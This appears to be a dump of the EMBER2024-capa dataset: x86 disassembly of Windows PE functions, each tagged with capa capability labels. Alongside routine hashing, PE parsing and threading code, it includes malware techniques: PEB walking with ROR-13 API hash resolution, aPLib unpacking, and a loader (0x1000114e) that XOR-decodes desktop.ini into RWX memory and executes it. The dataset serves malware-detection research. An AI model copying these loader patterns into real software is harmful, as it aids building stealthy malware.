joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4590f0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
movd xmm0, dword [esp + 8]
pinsrw xmm0, ebx, 4
pshufhw xmm0, xmm0, 0
movdqa xmm1, xmm0
pxor xmm0, xmmword [0x5a3560]
aesenc xmm0, xmm0
cmp ebx, 0x10
jb 0x4578bb
je 0x45790a
cmp ebx, 0x20
jbe 0x457910
cmp ebx, 0x40
jbe 0x45794e
jmp 0x4579df
test ebx, ebx
je 0x457900
add eax, 0x10
test ax, 0xff0
je 0x4578ec
movdqu xmm1, xmmword [eax - 0x10]
add ebx, ebx
pand xmm1, xmmword [ebx*8 + 0x4f9920]
aesenc xmm1, xmm0
aesenc xmm1, xmm1
aesenc xmm1, xmm1
movd dword [edx], xmm1
ret
movdqu xmm1, xmmword [eax + ebx - 0x20]
add ebx, ebx
pshufb xmm1, xmmword [ebx*8 + 0x4f9a20]
jmp 0x4578d8
aesenc xmm0, xmm0
movd dword [edx], xmm0
ret
movdqu xmm1, xmmword [eax]
jmp 0x4578d8
pxor xmm1, xmmword [0x5a3570]
aesenc xmm1, xmm1
movdqu xmm2, xmmword [eax]
movdqu xmm3, xmmword [eax + ebx - 0x10]
aesenc xmm2, xmm0
aesenc xmm3, xmm1
aesenc xmm2, xmm2
aesenc xmm3, xmm3
aesenc xmm2, xmm2
aesenc xmm3, xmm3
pxor xmm2, xmm3
movd dword [edx], xmm2
ret
movdqa xmm2, xmm1
movdqa xmm3, xmm1
pxor xmm1, xmmword [0x5a3570]
pxor xmm2, xmmword [0x5a3580]
pxor xmm3, xmmword [0x5a3590]
aesenc xmm1, xmm1
aesenc xmm2, xmm2
aesenc xmm3, xmm3
movdqu xmm4, xmmword [eax]
movdqu xmm5, xmmword [eax + 0x10]
movdqu xmm6, xmmword [eax + ebx - 0x20]
movdqu xmm7, xmmword [eax + ebx - 0x10]
aesenc xmm4, xmm0
aesenc xmm5, xmm1
aesenc xmm6, xmm2
aesenc xmm7, xmm3
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
pxor xmm4, xmm6
pxor xmm5, xmm7
pxor xmm4, xmm5
movd dword [edx], xmm4
ret
movdqa xmm2, xmm1
movdqa xmm3, xmm1
pxor xmm1, xmmword [0x5a3570]
pxor xmm2, xmmword [0x5a3580]
pxor xmm3, xmmword [0x5a3590]
aesenc xmm1, xmm1
aesenc xmm2, xmm2
aesenc xmm3, xmm3
movdqu xmm4, xmmword [eax + ebx - 0x40]
movdqu xmm5, xmmword [eax + ebx - 0x30]
movdqu xmm6, xmmword [eax + ebx - 0x20]
movdqu xmm7, xmmword [eax + ebx - 0x10]
aesenc xmm4, xmm0
aesenc xmm5, xmm1
aesenc xmm6, xmm2
aesenc xmm7, xmm3
dec ebx
shr ebx, 6
movdqu xmm0, xmmword [eax]
movdqu xmm1, xmmword [eax + 0x10]
movdqu xmm2, xmmword [eax + 0x20]
movdqu xmm3, xmmword [eax + 0x30]
aesenc xmm4, xmm0
aesenc xmm5, xmm1
aesenc xmm6, xmm2
aesenc xmm7, xmm3
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
add eax, 0x40
dec ebx
jne 0x457a3e
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
pxor xmm4, xmm6
pxor xmm5, xmm7
pxor xmm4, xmm5
movd dword [edx], xmm4
ret
cmp byte [0x5a32b2], 0
je 0x45910a
mov eax, dword [esp + 4]
mov ebx, dword [esp + 0xc]
lea edx, [esp + 0x10]
jmp 0x457880
jmp fcn.00407dc0
Function at 0x459110
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x40295e
sub esp, 0x10
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [esp], ecx
mov ecx, dword [esp + 0x18]
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00407dc0
mov eax, dword [esp + 0xc]
mov dword [esp + 0x1c], eax
add esp, 0x10
ret
call fcn.00457e00
jmp 0x402920
cmp byte [0x5a32b2], 0
je 0x45912b
mov eax, dword [esp + 4]
mov ebx, dword [eax + 4]
mov eax, dword [eax]
lea edx, [esp + 0xc]
jmp 0x457880
jmp 0x402920

Function at 0x459e30
Capabilities:
Access peb ldr_data

Disassembly:
mov ecx, dword [esp + 4]
mov edx, dword [ecx]
mov eax, esp
mov dword [edx + 4], eax
sub eax, 0x10000
mov dword [edx], eax
add eax, 0xba0
mov dword [edx + 8], eax
mov dword [edx + 0xc], eax
lea esi, [ecx + 0x30]
mov dword fs:[0x14], esi
mov dword [edx + 0x18], ecx
mov dword [esi], edx
cld
call fcn.00459070
call fcn.00457c70
ret
Function at 0x4718c0
Capabilities:
Hash data using fnv

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x4718f8
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 4]
xor ebx, ebx
jmp 0x4718ef
movzx ebp, byte [eax + ebx]
inc ebx
imul edx, edx, 0x1000193
xor edx, ebp
cmp ecx, ebx
jg 0x4718e2
mov dword [esp + 0x14], edx
ret
call fcn.00457e00
jmp fcn.004718c0
Function at 0x100019f0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
mov edi, dword [ebp + 8]
mov edi, dword [edi]
push edi
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
pop edi
mov esi, ecx
not esi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0xc]
lea eax, [eax + 0x10]
push dword [eax]
xor eax, eax
push edx
mov ecx, dword [edx + 0x30]
movzx ebx, byte [eax + edi]
movzx edx, byte [ecx + eax*2]
sub ebx, edx
cmp ebx, 0
je 0x10001a37
cmp ebx, 0x20
je 0x10001a37
cmp ebx, 0xffffffe0
je 0x10001a37
jne 0x10001a40
add eax, 1
cmp esi, eax
je 0x10001a4d
jne 0x10001a1c
pop edx
mov edx, dword [edx]
xor eax, eax
pop ebx
cmp ebx, edx
push ebx
je 0x10001a51
jne 0x10001a18
pop edx
mov eax, dword [edx + 0x18]
leave
ret 4

Function at 0x10001a65
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov ebx, dword [ebp + 8]
cmp ebx, 0
je 0x10001aaa
mov eax, dword [ebx + 0x3c]
add eax, ebx
mov edx, dword [eax + 0x78]
add edx, ebx
mov ecx, dword [edx + 0x18]
mov eax, dword [edx + 0x20]
push ecx
push ecx
push eax
xor eax, eax
or ecx, 0xffffffff
mov edi, dword [ebp + 0xc]
mov edi, dword [edi]
repne scasb al, byte es:[edi]
not ecx
pop eax
push ecx
mov edi, dword [ebp + 0xc]
mov edi, dword [edi]
mov esi, dword [eax + ebx]
add esi, ebx
repe cmpsb byte [esi], byte es:[edi]
pop ecx
je 0x10001ab0
add eax, 4
pop esi
dec esi
push esi
jne 0x10001a92
xor eax, eax
leave
ret 8
pop esi
pop ecx
sub ecx, esi
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx eax, word [eax + ebx]
mov ecx, dword [edx + 0x1c]
lea eax, [ecx + eax*4]
mov eax, dword [eax + ebx]
add eax, ebx
leave
ret 8
Function at 0x10002333
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
cld
xor edx, edx
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
push 0x18
pop ecx
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x10002361
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x10002358
cmp edi, 0x6a4abc5b
mov ebx, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x10002350
mov eax, ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x10002382
mov esp, ebp
pop ebp
ret

Function at 0x10002386
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
add esp, 0xffffffec
push esi
push ebx
push edi
push edx
push ecx
mov eax, dword [ebp + 0x10]
xor edx, edx
xchg edx, eax
mov esi, 0x3c
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
mov esi, dword [eax + 0x78]
add esi, 0x18
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
mov dword [ebp - 0x14], eax
add esi, 4
lea edi, [ebp - 8]
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
stosd dword es:[edi], eax
mov dword [ebp - 8], eax
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
push eax
stosd dword es:[edi], eax
mov dword [ebp - 0xc], eax
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
pop esi
mov dword [ebp - 4], 0
push esi
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
xchg edi, eax
mov ebx, edi
push edi
xor al, al
scasb al, byte es:[edi]
jne 0x100023f2
pop esi
sub edi, ebx
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
xor eax, eax
xor ebx, ebx
lodsb al, byte [esi]
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
rcr ax, 1
jae 0x1000241f
xor ax, 0x8320
xor bx, 0xedb8
dec dh
jne 0x1000240e
xor ecx, eax
xor edx, ebx
dec edi
jne 0x100023ff
not edx
not ecx
mov eax, edx
rol eax, 0x10
mov ax, cx
pop edx
cmp edx, eax
je 0x10002445
pop esi
add esi, 4
add dword [ebp - 4], 1
jmp 0x100023e6
pop esi
mov eax, dword [ebp - 4]
shl eax, 1
add eax, dword [ebp - 0x10]
xor esi, esi
xchg esi, eax
mov ax, word [esi]
shl ax, 2
add eax, dword [ebp - 8]
xchg esi, eax
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
pop ecx
pop edx
pop edi
pop ebx
pop esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x10002471
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100086d1
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
movsb byte es:[edi], byte [esi]
call fcn.10008750
jae 0x100086dd
xor ecx, ecx
call fcn.10008750
jae 0x10008707
xor eax, eax
call fcn.10008750
jae 0x10008718
mov al, 0x10
call fcn.10008750
adc al, al
jae 0x100086f9
jne 0x10008745
stosb byte es:[edi], al
jmp 0x100086de
call fcn.1000875c
dec ecx
loop 0x10008724
mov eax, ebp
call fcn.1000875a
jmp 0x10008746
lodsb al, byte [esi]
shr eax, 1
je 0x1000876c
adc ecx, 2
mov ebp, eax
jmp 0x10008746
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
mov ebp, eax
call fcn.1000875a
cmp eax, 0x7d00
jae 0x10008744
cmp eax, 0x500
jae 0x10008745
cmp eax, 0x7f
ja 0x10008746
inc ecx
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x100086de
pop ebp
ret 8

Function at 0x1007a4fb
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
movsb byte es:[edi], byte [esi]
call fcn.1007a57a
jae 0x1007a507
xor ecx, ecx
call fcn.1007a57a
jae 0x1007a531
xor eax, eax
call fcn.1007a57a
jae 0x1007a542
mov al, 0x10
call fcn.1007a57a
adc al, al
jae 0x1007a523
jne 0x1007a56f
stosb byte es:[edi], al
jmp 0x1007a508
call fcn.1007a586
dec ecx
loop 0x1007a54e
mov eax, ebp
call fcn.1007a584
jmp 0x1007a570
lodsb al, byte [esi]
shr eax, 1
je 0x1007a596
adc ecx, 2
mov ebp, eax
jmp 0x1007a570
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
mov ebp, eax
call fcn.1007a584
cmp eax, 0x7d00
jae 0x1007a56e
cmp eax, 0x500
jae 0x1007a56f
cmp eax, 0x7f
ja 0x1007a570
inc ecx
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1007a508
pop ebp
ret 8
Function at 0x4269c9
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x426a08
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x426a08
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x426a08
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x426a08
cmp dword [ecx + 0x74], 0xe
jbe 0x426a08
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x438db0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x438ddd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x438ddd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x1001139d
Capabilities:
Accept command line arguments

Disassembly:
push 8
push 0x10011430
call fcn.1000ed82
xor edi, edi
mov eax, dword [ebp + 0xc]
cmp eax, 1
je 0x100265f7
test eax, eax
je 0x10031507
cmp eax, 2
jne 0x100116c7
push dword [0x100de7cc]
call fcn.10018a71
pop ecx
test eax, eax
jne 0x1001141b
push 0x3bc
push 1
call fcn.10018a71
pop ecx
pop ecx
mov esi, eax
test esi, esi
je 0x10031555
push esi
push dword [0x100de7cc]
call fcn.10018a71
pop ecx
pop ecx
test eax, eax
je 0x10050453
push edi
push esi
call sym.MSVCR120.dll__initptd
pop ecx
pop ecx
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
mov dword [esi], eax
or dword [esi + 4], 0xffffffff
call fcn.10011398
xor eax, eax
inc eax
call fcn.1000edc7
ret
cmp eax, 3
jne 0x1001141b
push edi
call fcn.10018a71
pop ecx
jmp 0x1001141b
call fcn.100261c8
test eax, eax
je 0x10031555
call fcn.10026580
test eax, eax
je 0x100503fe
call fcn.10026f4d
test eax, eax
js 0x10050408
call dword [sym.imp.kernel32.dll_GetCommandLineW]
mov dword [sym.MSVCR120.dll__wcmdln], eax
call fcn.10018a71
jmp 0x100268e4
mov dword [0x100dfbbc], eax
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [sym.MSVCR120.dll__acmdln], eax
call fcn.10026c85
call fcn.10026928
test eax, eax
js 0x1003155c
push edi
call fcn.10018a71
pop ecx
test eax, eax
jne 0x1003155c
test edi, edi
jne 0x1005040f
inc dword [0x100dfbb8]
jmp 0x1001141b
mov eax, dword [0x100dfbb8]
test eax, eax
jle 0x10031555
dec eax
mov dword [0x100dfbb8], eax
mov dword [ebp - 4], edi
cmp dword [0x100e0418], 0
je 0x10050416
call fcn.10031219
call fcn.10031260
mov esi, dword [ebp + 0x10]
test esi, esi
je 0x10050420
mov dword [ebp - 4], 0xfffffffe
call fcn.1003154c
jmp 0x1001141b
xor eax, eax
jmp 0x10011423
xor edi, edi
inc edi
jmp 0x10026915
call fcn.1009f373
jmp 0x10031555
call fcn.100775db
jmp 0x100503fe
call fcn.1009f9c4
jmp 0x10050408
call sym.MSVCR120.dll__cexit
jmp 0x10031526
call fcn.1009f9c4
call fcn.100775db
call fcn.1009f373
jmp 0x1003153b
push esi
call fcn.10018a71
pop ecx
jmp 0x10031555
Function at 0x1001f855
Capabilities:
Get common file path
Set current directory
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x100de7b8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
and dword [ebp - 0x21c], 0
push ebx
or ebx, 0xffffffff
push esi
lea esi, [ebp - 0x218]
test eax, eax
je 0x10051169
push edi
push eax
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryW]
test eax, eax
je 0x1001f921
lea eax, [ebp - 0x218]
push eax
push 0x105
call dword [sym.imp.kernel32.dll_GetCurrentDirectoryW]
mov edi, eax
cmp edi, 0x104
jg 0x10051186
test edi, edi
je 0x1001f921
movzx eax, word [esi]
cmp eax, 0x5c
je 0x1001f919
cmp eax, 0x2f
je 0x1001f919
push 0x3d
pop eax
mov word [ebp - 0xc], ax
movzx eax, word [esi]
push eax
call fcn.10018a71
pop ecx
push 0x3a
mov word [ebp - 0xa], ax
pop eax
mov word [ebp - 8], ax
xor eax, eax
mov word [ebp - 6], ax
lea eax, [ebp - 0xc]
push esi
push eax
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
test eax, eax
je 0x1001f921
xor ebx, ebx
cmp dword [ebp - 0x21c], 0
pop edi
jne 0x100511cd
mov ecx, dword [ebp - 4]
mov eax, ebx
pop esi
xor ecx, ebp
pop ebx
call fcn.10010cbc
mov esp, ebp
pop ebp
ret
cmp ax, word [esi + 2]
je 0x1001f8f7
jmp 0x1001f8c6
call dword [sym.imp.kernel32.dll_GetLastError]
jmp 0x100511c1
call sym.MSVCR120.dll___doserrno
and dword [eax], 0
call sym.MSVCR120.dll__errno
mov dword [eax], 0x16
call sym.MSVCR120.dll__invalid_parameter_noinfo
jmp 0x1001f907
lea eax, [edi + 1]
push 2
push eax
call fcn.10018a71
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x1001f921
mov dword [ebp - 0x21c], 1
test edi, edi
je 0x1001f921
push esi
lea eax, [edi + 1]
push eax
call dword [sym.imp.kernel32.dll_GetCurrentDirectoryW]
mov edi, eax
jmp 0x1001f8b5
push eax
call fcn.10018a71
pop ecx
jmp 0x1001f8f9
push esi
call fcn.10018a71
pop ecx
jmp 0x1001f907

Function at 0x1001f985
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x100de7b8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
cmp eax, 1
jl 0x1001f9d8
cmp eax, 0x1a
jg 0x1001f9d8
add eax, 0x40
mov word [ebp - 0xc], ax
push 0x3a
pop eax
mov word [ebp - 0xa], ax
xor eax, eax
mov word [ebp - 8], ax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryW]
test eax, eax
je 0x100510c2
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10010cbc
mov esp, ebp
pop ebp
ret
call sym.MSVCR120.dll___doserrno
jmp 0x100510d1
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call fcn.10018a71
pop ecx
jmp 0x100510e7
mov dword [eax], 0xf
call sym.MSVCR120.dll__errno
mov dword [eax], 0xd
call sym.MSVCR120.dll__invalid_parameter_noinfo
or eax, 0xffffffff
jmp 0x1001f9ca

Function at 0x1002241a
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebx
push esi
push edi
mov ebx, edx
mov edi, 0x811c9dc5
xor esi, esi
movzx eax, byte [esi + ecx]
xor eax, edi
imul edi, eax, 0x1000193
inc esi
cmp esi, 4
jb 0x10022426
mov eax, edi
xor edx, edx
div ebx
pop edi
pop esi
mov eax, edx
pop ebx
ret
Function at 0x10022fe7
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push esi
push edi
push 0x800
push 0
mov esi, 0x10023094
mov ebx, ecx
push esi
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x10050052
mov esi, dword [sym.imp.kernel32.dll_GetProcAddress]
push 0x100230b0
push edi
call esi
mov ecx, dword [0x100def00]
push 0x100230c4
xor ecx, eax
push edi
mov dword [ebx], ecx
call esi
mov ecx, dword [0x100def00]
push 0x100230dc
xor ecx, eax
push edi
mov dword [ebx + 4], ecx
call esi
mov ecx, dword [0x100def00]
push 0x100230e8
xor ecx, eax
push edi
mov dword [ebx + 8], ecx
call esi
mov ecx, dword [0x100def00]
push 0x10023100
xor ecx, eax
push edi
mov dword [ebx + 0xc], ecx
call esi
mov ecx, dword [0x100def00]
push 0x10023114
xor ecx, eax
push edi
mov dword [ebx + 0x10], ecx
call esi
mov ecx, dword [0x100def00]
xor ecx, eax
mov dword [ebx + 0x14], ecx
pop edi
pop esi
mov eax, ebx
pop ebx
ret
mov edi, eax
test edi, edi
je 0x10023080
jmp 0x10023009
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x57
jne 0x10023080
push esi
call dword [sym.imp.kernel32.dll_LoadLibraryW]
jmp 0x10023086

Function at 0x1002541d
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0x10]
push edi
xor edi, edi
test ebx, ebx
je 0x10050778
push esi
push 0x3bc
push 1
call fcn.10018a71
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x10050797
call sym.MSVCR120.dll__getptd
push dword [eax + 0x6c]
push esi
call sym.MSVCR120.dll__initptd
mov eax, dword [ebp + 0x14]
or dword [esi + 4], 0xffffffff
mov dword [esi + 0x58], eax
mov eax, dword [ebp + 0x1c]
mov dword [esi + 0x54], ebx
pop ecx
pop ecx
test eax, eax
jne 0x1002546f
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0x18]
push esi
push 0x10025498
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_CreateThread]
test eax, eax
je 0x1005078f
pop esi
pop edi
pop ebx
pop ebp
ret
call sym.MSVCR120.dll__errno
mov dword [eax], 0x16
call sym.MSVCR120.dll__invalid_parameter_noinfo
xor eax, eax
jmp 0x1002548e
call dword [sym.imp.kernel32.dll_GetLastError]
mov edi, eax
push esi
call fcn.10018a71
pop ecx
test edi, edi
je 0x100507a9
push edi
call fcn.10018a71
pop ecx
xor eax, eax
jmp 0x1002548d
Function at 0x10031373
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x100313af
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x100313af
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x100313af
xor eax, eax
cmp dword [ecx + 0x74], 0xe
jbe 0x100313ae
cmp dword [ecx + 0xe8], eax
setne al
ret
xor eax, eax
ret

Function at 0x10068350
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push 0x24
mov eax, 0x100da940
call fcn.10021e72
mov ebx, ecx
mov dword [ebp - 0x30], ebx
mov edx, dword [ebx + 0x30]
lea eax, [edx + 1]
mov dword [ebx + 0x30], eax
test edx, edx
jne 0x1006846c
cmp dword [ebx + 0x1c], edx
mov ecx, dword [ebx + 0x14]
setne al
mov byte [ebp - 0x29], al
cmp dword [ebx + 0x18], edx
jne 0x1006843c
test al, al
sete al
movzx eax, al
push eax
push dword [ebx + 0x28]
push dword [ebx + 0x24]
call fcn.10018a71
cmp byte [ebp - 0x29], 0
jne 0x10068448
call dword [sym.imp.kernel32.dll_GetCurrentThread]
mov ebx, eax
lea ecx, [ebp - 0x28]
push ebx
call fcn.10018a71
mov edx, dword [ebp - 0x30]
lea edi, [ebp - 0x1c]
push ebx
mov cx, word [eax + 4]
mov word [edx + 0xc], cx
mov ecx, dword [eax]
mov dword [edx + 8], ecx
mov ecx, dword [edx + 0x14]
imul edx, dword [edx + 0x24], 0x34
mov eax, dword [ecx + 0x10]
movzx ecx, word [edx + eax + 0xc]
mov esi, dword [edx + eax]
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov word [ebp - 0x18], cx
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], esi
call fcn.10018a71
mov ebx, dword [ebp - 0x30]
push ebx
mov ecx, dword [ebx + 0x14]
call fcn.10018a71
mov edi, dword [ebx + 0x14]
lea esi, [edi + 0x20]
push esi
mov dword [ebp - 0x30], esi
call dword [sym.imp.kernel32.dll_EnterCriticalSection]
and dword [ebp - 4], 0
mov ecx, ebx
mov eax, dword [ebx]
call dword [eax]
imul ecx, dword [ebx + 0x28], 0x34
imul edx, eax, 0x34
mov eax, dword [edi + 0x10]
push ebx
add ecx, 0xc
mov eax, dword [edx + eax + 0x30]
add ecx, eax
call fcn.10018a71
or dword [ebp - 4], 0xffffffff
push esi
call dword [sym.imp.kernel32.dll_LeaveCriticalSection]
jmp 0x10068448
push ebx
add ecx, 0xc4
call fcn.10018a71
mov eax, dword [ebx + 0x14]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x70]
push esi
call dword [sym.imp.kernel32.dll_TlsGetValue]
push ebx
push esi
mov dword [ebx + 0x20], eax
call dword [sym.imp.kernel32.dll_TlsSetValue]
test eax, eax
jne 0x1006846c
call fcn.10018a71
call fcn.10021eea
ret